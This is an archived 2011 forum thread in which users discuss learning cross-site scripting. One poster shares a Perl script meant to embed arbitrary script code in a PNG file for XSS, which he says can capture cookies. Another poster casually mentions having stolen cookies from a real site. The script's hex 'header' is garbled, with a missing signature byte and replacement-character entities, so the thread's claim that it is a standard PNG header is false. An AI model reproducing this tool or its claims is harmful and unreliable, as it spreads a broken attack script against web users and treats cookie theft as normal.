Cross Site Scripting - Halp?

edited April 2011 in Tech & Games
I'm looking to delve into some XSS, as I want to learn more about this particular web vulnerability. I know that there's a shit load of information out there on the internet, but my Google-Fu currently sucks and I can't really dig up much about the subject apart from a few things explaining what XSS actually is.

Does anyone else know much about this particular area of web-vulnerability? Perhaps someone could either explain it a little better to me, or point me in the direction of some useful articles/tutorials.

Much appreciated!

Comments

  • KraneKrane Regular
    edited March 2011
    Have you seen this site yet?

    http://ha.ckers.org/xss.html

    I learned a lot from that site when I first delved into XSS, I have the souce code for a small script I made that embeds an XSS string of your choice into an image file if you want me to post it?
  • edited March 2011
    Krane wrote: »
    Have you seen this site yet?

    http://ha.ckers.org/xss.html

    I learned a lot from that site when I first delved into XSS, I have the souce code for a small script I made that embeds an XSS string of your choice into an image file if you want me to post it?

    Yeah, I've seen that cheat sheet many years ago :thumbsup: Go ahead and post that source code so I can take a look at it. Maybe it will give me a slightly better understanding of how things can be structured. I'm going to have a flick around Google and see if there's anything I missed out, and I'll be sure to link back to it in this thread if I find anything.
  • KraneKrane Regular
    edited March 2011
    You need some webspace of your own if you want your XSS script to direct to a page with a message or picture of your choice, or if you want it to capture cookies.

    Im thinking of re-writing it in Python (I don't really like Perl) and giving it a simple GUI, it needs some more features lol, I wrote it a couple of years ago when I was bored.
    #!/usr/bin/perl -w
    #This script is to test out your sites security against XSS attacks
    #This works with all versions of Internet Explorer and all current Service 
    #Packs + The latest FireFox
    
    my $payload =
    "\x50\x4e\x47\x0d\x0a\x5c\x78\x4f\x41\x1a\x5c\x78\x4f\x41\x26\x23".
    "\x36\x35\x35\x33\x33\x3b\x26\x23\x36\x35\x35\x33\x33\x3b\x26\x23".
    "\x36\x35\x35\x33\x33\x3b\x5c\x78\x4f\x44\x50\x48\x43\x4b\x26\x23".
    "\x36\x35\x61\x33\x33\x3b\x26".
    "\x23\x36\x35\x35\x33\x33\x3b\x26\x23\x36\x35\x35\x33\x33\x3b\x01".
    "\x26\x23\x36\x35\x35\x33\x33\x3b\x26\x23\x36\x35\x35\x33\x33\x3b".
    "\x26\x23\x36\x35\x35\x33\x33\x3b\x01";
    
    my $code = "your code here";
    
    open(file,'>>xss.PNG');
    print file $payload;
    print file $code;
    close(file);
    

    In order to use the above script, simply replace your code here with your code of choice (HTML, PHP, Javascript etc...)

    To run the script, open a terminal and enter:
    filename.pl
    

    Remember that filename.pl will be whatever you saved the script as.
  • edited March 2011
    ^ That's brilliant, I like the way that works! :D I'll probably get my webserver online again and start playing around with these things. Then I might learn how to secure myself from this type of attack. That's really clever though dude, props to you. I remember doing something similar when cookie stealing on Rotteneggs :thumbsup:
  • KraneKrane Regular
    edited March 2011
    Is the 'payload' in your example a standard png header?

    Yes, it's just Hex encoded.
Sign In or Register to comment.